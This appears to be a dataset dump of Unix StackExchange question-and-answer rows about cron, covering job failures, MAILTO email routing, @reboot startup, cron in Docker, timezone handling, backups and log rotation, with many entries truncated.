I got a daily crontab task:
50 1 * * * sh /my_path/daily_task.sh > /tmp/zen_log 2>&1
This daily_task shell script will run some python scripts and produce a data file.
And it fails for two nights. But when I came in the morning, run the python scripts manually, I got the data file. Or I set a new crontab which only se... |
Often times when applications are being killed, it is always a good idea to take a quick look at your /var/log/messages file to see if the kernel is killing the process. The most common trigger (in my experience) has always been due to out-of-memory (OOM) errors, since my company primarily uses java applications, it i... | What does `line 19: 12364 Killed` mean in crontab error message? |
1,327,513,801,000 |
I'm running CentOS 5.5.
We have several cronjobs stored in /etc/cron.daily/ . We would like the email for some of these cronjobs to go to a particular email address, while the rest of the emails in /etc/cron.daily/ should go to the default email address (root@localhost).
Cronjobs in /etc/cron.daily/ are run from the /... |
Setting [email protected] in /etc/cron.daily/foo does not work. The script output is not sent to [email protected] .
The page at http://www.unixgeeks.org/security/newbie/unix/cron-1.html also suggests a simple solution:
The file /etc/cron.daily/foo now contains the following:
#!/bin/sh
/usr/bin/script 2>&1 | mailx -s ... | /etc/cron.daily/foo : Send email to a particular user instead of root? |
1,327,513,801,000 |
As a non-root user, I want to run a background job when the system boots. It's sort of a service which doesn't require root privilege. Is there a way to do it?
One way is to put sudo -u user command in rc.local, but editing rc.local requires root privilege.
Another way is to launch it from cron every minute and check ... |
You can use cron if your version has the @reboot feature. From man
5 crontab:
Instead of the first five fields, one of eight special strings may appear:
string meaning
------ -------
@reboot Run once, at startup.
…
You can edit a user-local crontab with the command crontab -e wit... | How to autostart a background program by a non-root user? |
1,327,513,801,000 |
I am using nginx in docker. I have configured cron jobs to update SSL certificates and DNS registration. However the cron jobs are not running.
What have I done. I have created a Dockerfile based on arm32v7/nginx this intern is based on debian:stretch-slim. At first I installed cron, and assumed that it would run, but... |
I installed rsyslog to see what errors I was getting I got the following
(*system*) NUMBER OF HARD LINKS > 1 (/etc/crontab). A bit of searching told me that cron has a security policy to not work if there are lots of hard-links to its files. Unfortunately Docker's layered file-system makes files have lots of hard-link... | Getting cron to work on docker |
1,327,513,801,000 |
I figure curl would do the job. I wrote in a script:
#!/bin/sh
function test {
res=`curl -I $1 | grep HTTP/1.1 | awk {'print $2'}`
if [ $res -ne 200 ]
then
echo "Error $res on $1"
fi
}
test mysite.com
test google.com
The problem here is no matter what I do I can't get it to stop printing t... |
-s/--silent
Silent or quiet mode. Don't show progress meter
or error messages. Makes Curl mute.
So your res should look like
res=`curl -s -I $1 | grep HTTP/1.1 | awk {'print $2'}`
Result is Error 301 on google.com, for example.
| How do I get (only) the http status of a site in a shell script? |
1,327,513,801,000 |
I have a cron job running a php command like this:
php /path/to/script.php > dev/null
This should send only STDERR output to the MAILTO address. From what I gather the php script is not outputting any STDERR information even when its exit status is 1.
How can I get the output of the php command (STDOUT) and only send ... |
php /path/to/script.php > logfile || cat logfile; rm logfile
which dumps standard output into logfile and only outputs it if the script fails (exits non-zero).
Note: if your script might also output to stderr then you should redirect stderr to stdout. Otherwise anything printed to stderr will cause cron to send an em... | Have cron email output to MAILTO based on exit status |
1,327,513,801,000 |
If I need a cronjob that runs at system level (i.e. not specific for a certain user) how do you suggest me to create it?
running crontab -e as root
appending it to /etc/crontab
creating a file defining the cronjob in /etc/cron.d/
creating a file defining the cronjob in /etc/cron.*ly/ (but only if such time interval f... |
Don't use crontab -e
I wouldn't put it in crontab -e as root. This is generally less obvious to other admins and is likely to get lost over time. Putting them in /etc/crontab you can specify exactly the time that you want them to run and you can specify a different user as well.
Alternative locations
If you do not car... | Where to put system cronjobs? |
1,324,046,017,000 |
I believe that if there is any output from a cronjob it is mailed to the user who the job belongs to. I think you can also add something like [email protected] at the top of the cron file to change where the output is sent to.
Can I set an option so that cron jobs system-wide will be emailed to root instead of to the ... |
Check /etc/crontab file and set MAILTO=root in there. Might also need in /etc/rc file
crond seems to accept MAILTO variable, I guess I am not sure completely but its worth a try changing the environment variable for crond before it is started. Like in /etc/sysconfig/crond or /etc/rc.d/init.d/crond script which source... | Can I change the default mail recipient on cron jobs? |
1,324,046,017,000 |
I've tried eliminating many of the common errors,
ensuring that the PATHs are available for cron
there is an endline at the end of crontab file
the timezone is set-up by:
cd /etc
cp /usr/share/zoneinfo/Asia/Singapore /etc/localtime
Running date in bash, I get:
Tue Sep 17 15:14:30 SGT 2013
In order to check if cro... |
First off, the odds that you are hitting a bug that causes one field to be incorrectly considered seems exceptionally low. It's more likely to be a misunderstanding of what's going on and what cron expects.
In this case, we found out in the comments to the question that it was very likely a timezone related issue. For... | Cron job does not fire up after a timezone change |
1,324,046,017,000 |
I have jobs that I want to run hourly, but not necessarily at the same time, which I think
0 * * * * job
Means run at the 0 minute of every hour on the dot.
I know I can also use
@hourly job
What is the difference if any?
How can I schedule Jobs to run Hourly, but not all at the same time?
|
From crontab(5):
@hourly: Run once an hour, ie. "0 * * * *".
So it's strictly the same.
To run a job at a varying point in the hour (or multiple jobs, to spread the load) you can sleep for a random amount of time before starting the job:
@hourly sleep $((RANDOM / 10)); dowhatever
This sleeps for up to 3276 secon... | @hourly vs 0 * * * * - Cron - How to run jobs hourly, but at different times |
1,324,046,017,000 |
I am using the latest Linux Mint.
I was wondering if it's possible to create a special cronjob for a database backup.
In my /etc/cronjob file I have the following code:
# Minute Hour Day of Month Month Day of Week Command
# (0-59) (0-23) (1-31) (1-12 or Jan-Dec) (0-6 or Sun-Sat)... |
With GNU date (default on Linux Mint) you can do:
mysqldump -uroot -p MyDatabase >/home/users/backup_MyDB/$(date +%F)_full_myDB.sql
To delete files older than 1 week:
find /home/users/backup_MyDB -type f -mtime +7 -exec rm {} +
Although generally it is wise to see what you are deleting before you delete (at least wh... | cronjob for automatic DB backup to date prefixed file |
1,324,046,017,000 |
$ touch aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBB
$ crontab aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaBBB
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa... |
The version of crontab from Cygwin prints an explanatory error message:
file=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcd
touch "$file"
crontab "$file"
crontab: usage error: filename too long
echo "$file" | awk '{print length}'
108
The message addresses... | When a file path longer than 100 characters is passed, crontab throws an error saying "No such file or directory" |
1,324,046,017,000 |
I want to schedule a python script to run using cron on certain dates, the problem is that in order for example.py to work, example-env has to be activated, is there a way to make example.py activate its own virtualenv whenever cron execute it?
if not, then do I have to create a bash script bash.sh that contains
#!/u... |
You can just start the example.py with the full path to example-env/bin/python2.
Alternatively change the shebang line of the example.py to use that executable, make that file executable (chmod +x example.py) and leave out python and use the full path to example.py to start it:
#!/full/path/to/example-env/bin/python2
... | How to activate Virtualenv when a Python script starts? |
1,324,046,017,000 |
Im pretty new to unix and crons, I was currently about to try to add crons to an existing cron file. I read you could do this with crontab -e. The confusing thing to me is just that crontab -e shows different crons/commands than less /etc/crontab - how come? Which one is the correct way/file to edit?
|
Although @X Tian's answer contains info on the different files for crontab, the essential information concerning your question is this:
crontab -e edits the user's crontab file (stored in the /var/spool/cron/crontabs/ directory on current Debian systems, but YMMV) or creates a new one, and not /etc/crontab. Similar f... | How come crontab -e is different from less /etc/crontab? |
1,324,046,017,000 |
I've done quite a bit of research in how to do this, and I see there's no direct way in cron to run a job, say, every other Thursday.
Right now, I'm leaning toward making a script that will just run every week, and will touch a "flag" file when it runs, and if it runs and the file is already there, to remove the file ... |
0 0 * * Thu bash -c '(($(date +\%s) / 86400 \% 14))' && your-script
I used bash to do my math because I'm lazy; switch that to whatever you like. I take advantage of January 1, 1970 being a Thursday; for other days of the week you'd have to apply an offset. Cron needs the percent signs escaped.
Quick check:
functio... | Run a script via cron every other week |
1,324,046,017,000 |
tl;dr: Does cron use the numerical value of an interval compared to the numerical value of the day to determine its time of execution or is it literally "every 3 days" at the prescribed time from creation?
Question:
If I add the following job with crontab -e will it run at midnight tomorrow for the first time or three... |
The crontab(5) man page use a wording that is pretty clear:
Step values can be used in conjunction with ranges. Following a range with "/number" specifies skips of the number's value through the range. For example, "0-23/2" can be used in the hours field to specify command execution every other hour (the alternative ... | When will an interval cron execute the first time? (Ex: */3 days) |
1,324,046,017,000 |
I was trying to edit crontab in the terminal, and I accidentally typed crontab -r instead of crontab -e. Who would figure such dangerous command would sit right next to the letter to edit the crontab? Moreover, I am still trying to figure out how does crontab -r not ask you for confirmation?
Regardless of my lack of c... |
You can find your cron jobs from the log if once it has executed before. Check /var/log/cron.
You do not have any recovery option other than third party recovery tools.
| How to recover deleted crontab |
1,324,046,017,000 |
I use CentOS shared server environment with Bash.
ll "$HOME"/public_html/cron_daily/
brings:
./
../
-rwxr-xr-x 1 user group 181 Jul 11 11:32 wp_cli.sh*
I don't know why the filename has an asterisk in the end. I don't recall adding it and when I tried to change it I got this output:
[~/public_html]# mv cron_daily/wp... |
The asterisk is not actually part of the filename. You are seeing it because the file is executable and your alias for ll includes the -F flag:
-F
Display a slash ('/') immediately after each pathname that is a directory, an asterisk ('*') after each that is executable, an
at sign ('@') after... | A filename has an asterisk for some reason - it won't be changed and content not executed |
1,324,046,017,000 |
I have a Raspberry Pi running OSMC (Debian based).
I have set a cron job to start a script, sync.sh, at midnight.
0 0 * * * /usr/local/bin sync.sh
I need to stop the script at 7am. Currently I am using:
0 7 * * * shutdown -r now
Is there a better way? I feel like rebooting is overkill.
Thanks
|
You can run it with the timeout command,
timeout - run a command with a time limit
Synopsis
timeout [OPTION] NUMBER[SUFFIX] COMMAND [ARG]...
timeout [OPTION]
Description
Start COMMAND, and kill it if still running after NUMBER seconds. SUFFIX may be 's' for seconds (the default), 'm' for minutes, 'h' for hours or '... | How to halt a script at a specific time until it is started again by cron? |
1,324,046,017,000 |
It looks like I have logcheck set up as a cron job and whenever it's run process grep by logcheck takes up around ¼ of my CPU.
Now I have certain times during which I need my full CPU capacity and have my system take up fewest resources as possible except for specific/processes (which I maybe could specify somehow).
I... |
If “certain times” aren’t fixed, i.e. you want to specify manually when your system enters and leaves “performance mode”, you can simply stop and start cron:
sudo systemctl stop cron
will prevent any cron jobs from running, and
sudo systemctl start cron
will re-enable them.
You could also check out anacron instead o... | How to prevent cron jobs from being run during certain times in Debian? (a 'gaming' / 'performance mode') |
1,324,046,017,000 |
I have created a script to install two scripts on to the crontab.
#!/bin/bash
sudo crontab -l > mycron
#echo new cron into cron file
echo "*/05 * * * * bash /mnt/md0/capture/delete_old_pcap.sh" >> mycron #schedule the delete script
echo "*/12 * * * * bash /mnt/md0/capture/merge_pcap.sh" >> mycron #schedule... |
I would recommend using /etc/cron.d over crontab.
You can place files in /etc/cron.d which behave like crontab entries. Though the format is slightly different.
For example
/etc/cron.d/pcap:
*/05 * * * * root bash /mnt/md0/capture/delete_old_pcap.sh
*/12 * * * * root bash /mnt/md0/capture/merge_pcap.sh
The differenc... | Installing crontab using bash script |
1,324,046,017,000 |
Is there any way to make/run a bash script on reboot
(like in Debian/Ubuntu for instance, since thats what my 2 boxes at home have)
Also, any recommended guides for doing cron jobs? I'm completely new to them (but they will be of great use)
|
On Ubuntu/Debian/Centos you can set up a cron job to run @reboot. This runs once at system startup. Use crontab -e to edit the crontab and add a line like the example below e.g.
@reboot /path/to/some/script
There are lots of resources for cron if you look for them. This site has several good examples.
| Bash Script on Startup? (Linux) |
1,324,046,017,000 |
In my /etc/crontab file I have:
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52... |
From FreeBSD's man test: [1]
-x file True if file exists and is executable. True indicates only
that the execute flag is on. If file is a directory, true
indicates that file can be searched.
So the cronjobs test if there is anacron installed [2] (i.e., there is an executable cal... | /etc/crontab what does "test -x" stand for |
1,324,046,017,000 |
I have a test.sh script
#!/bin/sh
php /home/v/file.php
sh /root/x/some.sh
when I execute the file as root from command line it works.
sh /home/v/test.sh
when I set it to crontab -e (is the root cron), is not working
* * * * * sh /home/v/test.sh
What do I do wrong?
Thanks
|
According to the man:
The cron daemon starts a subshell
from your HOME directory. If you
schedule a command to run when you are
not logged in and you want commands
in your .profile file to run, the
command must explicitly read your
.profile file.
The cron daemon supplies a default
environment for ... | executing a sh script from the cron |
1,324,046,017,000 |
I am aware of a lot of pitfalls in the magic world of crontabs, but sometimes it would help troubleshooting a lot when you have some smart way to enter an interactive (bash) shell with exact identical environment as when a shell script is run from a crontab.
Now I thought myself of /bin/openvt -c8 -- /bin/bash --nopro... |
Run crontab -e and add an entry with
* * * * * export -p > ~/cron-env
(if on Solaris or a system that doesn't use a POSIX shell to interpret that command line, use /usr/xpg4/bin/sh -c 'export -p > ~/cron-env' or whatever the path to the standard sh is on that system).
Wait one minute and remove that line.
You should ... | Interactive shell with environment identical to cron |
1,324,046,017,000 |
As I know crontab has those fields, starting by left to right.
1 minutes 0-59
2 hours 0-23
3 days of month 0-31
4 month 1-12
5 day of the week 0-6
6 command
I want to run foo command every 15 days at 15:30
This is correct because run command 1 and 15 of the month
month has 30 days(31 some) so is run every... |
This syntax 30 15 */15 * * is correct, but it is not doing the same with this 30 15 1,15 * *.
The latter will execute command at 1st and 15th of the month, as it has fixed comma separated values for the "day of month" field.
The / defines steps, that means */15 will execute every 15 days, starting from 1, that means: ... | Should I use 1,15 or */15 in crontab to run a command every 15 days? |
1,324,046,017,000 |
I'm building on top of a Postgres Docker container which has cron implemented on top of Debian Jessie:
For debugging I want to look at the logs which I'm expecting to be at /var/log/syslog, but I don't have syslog on the system.
Would I need to turn on logging manually with a Debian Jessie Docker container?
|
You need to install rsyslog inside the container. You could do this in dockerfile.
Example of simplest dockerfile:
FROM debian:latest
RUN apt-get install -q -y rsyslog
CMD ["sh", "-c", "service rsyslog start ; tail -f /dev/null"]
| Docker Debian Jessie: Can't find /var/log/syslog |
1,324,046,017,000 |
The following appears /var/log/messages, what that means ?
Feb 19 22:51:20 kernel: [ 187.819487] non-matching-uid symlink following attempted in sticky world-writable directory by sh (fsuid 1001 != 0)
It happens when a cron job was about to run.
|
A privileged process can be tricked into overwriting an important file (/etc/passwd, /etc/shadow, etc.) by pointing a symlink at it. For example, if you know that root will run a program that creates a file in /tmp, you can lay a trap by guessing what the file name will be (typically /tmp/fooXXX, with foo being the p... | What does the following kernel message mean? |
1,324,046,017,000 |
Why does cron require MTA for logging? Is there any particular advantage to this? Why can't it create a log file like most other utilities?
|
Consider that the traditional "standard" way of logging data is syslog, where the metadata included in the messages are the "facility code" and the priority level. The facility code can be used to separate log streams from different services so that they can be split into different log files, etc. (even though the fac... | Why does cron require MTA for logging? |
1,324,046,017,000 |
I have an rsync cron job which is pushing the server load and triggering monitor alerts. If I set the job to be run with a high nice level, would that effectively reduce the impact it has on system load values?
|
It will not reduce your load.
It will only let other processes use CPU time more often if there is a possible resource contention (several processes "competing" for not enough available CPU time).
| Is setting a higher nice level for a process an effective way to reduce its impact on system load/CPU time? |
1,324,046,017,000 |
I need to calculate the time remaining for the next run of a specific job in my Cron Schedule, I've a Cron with jobs having frequencies of per hour, thrice a day etc, no jobs running on specific days/dates hence just HH:MM:SS is concerned, also I do not have right to check /var/spool/cron/ in my RHEL.
If some job sta... |
cron doesn't know when a job is going to fire. All it does is every minute, go over all the crontab entries and fire those that match "$(date '+%M %H %d %m %w')".
What you could do is generate all those timestamps for every minute from now to 49 hours from now (account for DST change), do the matching by hand (the tri... | Time remaining for the next run |
1,324,046,017,000 |
I'm running Ubuntu 14.04 LTS and nginx on a Digital Ocean VPS and occasionally receive these emails about a failed cron job:
Subject
Cron test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
The body of the email is:
/etc/cron.daily/logrotate:
error: error running shared postrotate script ... |
The post rotate action appears to be incorrect
Try
invoke-rc.d nginx reload >/dev/null 2>&1
If you look at the nginx command you will see the actions it will accept. Also the message you got says check initctl --help
xtian@fujiu1404:~/tmp$ initctl help
Job commands:
start Start job.
stop ... | nginx logrotate error on cron job |
1,324,046,017,000 |
Background: I am working on CentOS
Details
# cat /proc/version
Linux version 2.6.18-308.4.1.el5PAE ([email protected]) (gcc version 4.1.2 20080704 (Red Hat 4.1.2-52)) #1 SMP Tue Apr 17 17:47:38 EDT 2012
Question: How can i know which version cron daemon installed and running on machine
|
The dummy way:
whereis -b crontab | cut -d' ' -f2 | xargs rpm -qf
| How to get which version of cron daemon is running |
1,324,046,017,000 |
Is there a way to schedule a cron job to run every fortnight?
(One way I can think of, within crontab, would be to add two entries for "date-of-month"...)
|
No, cron only knows about the day of the week, the day of the month and the month.
Running a command twice a month on fixed days (e.g. the 1st and the 16th) is easy:
42 4 1,16 * * do_stuff
Running a command every other week is another matter. The best you can do is to run a command every week, and make it do nothing... | Is it possible to schedule a cron job to run fortnightly? |
1,324,046,017,000 |
I use a cron job to call offlineimap every 2 minutes:
*/2 * * * * /usr/bin/offlineimap > ~/Maildir/offlineimap.log 2>&1
I needed to kill the cron job to fix a problem. How can I then restart the cron job (without rebooting)? I found this 'solution' online:
mylogin@myhost:~$ sudo /etc/init.d/cron restart
Rather than i... |
Cron approach
If you have sudo privileges you could stop/start the cron service. I believe that's what that solution you found online was explaining.
Depending on which Linux distro you're using you could either do these commands:
# redhat distros
$ sudo /etc/init.d/crond stop
... do your work ...
$ sudo /etc/init.d/... | How to start a cron job without reboot? |
1,324,046,017,000 |
I have a cronjob which is executes every day at 9:00 AM of UTC-Time. I'm in GMT+1 so it executes at 10:00 AM local time. When there is the timezone change (to daylight saving time, DST), the cronjob executes still at 9:00 AM of UTC-Time but at 11:00 AM local time. But I want it always to execute at 10:00, no matter of... |
Check your setting in /etc/timezone. In the question you mentioned you are in "GMT+1", if that is what your timezone is set to, your script will always execute at UTC plus one hour. If you set it to e.g. "Europe/Paris", the time of execution will change with the daylight savings time.
| Change the time zone of a cronjob |
1,324,046,017,000 |
I have setup emacs as my default editor in /etc/profile. When I want to use emacs in a terminal. I open it with the -nw option. How can I have the same behavior when doing a crontab -e preventing it to open in a window?
|
You have to use
export EDITOR="emacs -nw"
with the quotes, and it should work as expected.
| Open emacs in a terminal when editing crontab |
1,324,046,017,000 |
In my /etc/rsyslog.conf, I have the following line to log the auth facility into /var/log/auth.log:
auth,authpriv.* /var/log/auth.log
but the file is flooded with cron logs, such as these:
CRON[18620]: pam_unix(cron:session): session opened for user root by (uid=0)
CRON[18620]: pam_unix(cron:session): ses... |
I believe this is what you are looking for:
:msg, contains, "pam_unix(cron:session)" ~
auth,authpriv.* /var/log/auth.log
the first line matches cron auth events, and deletes them. The second line then logs as per your rule, minus the previously deleted lines.
| don't log cron events in auth.log |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.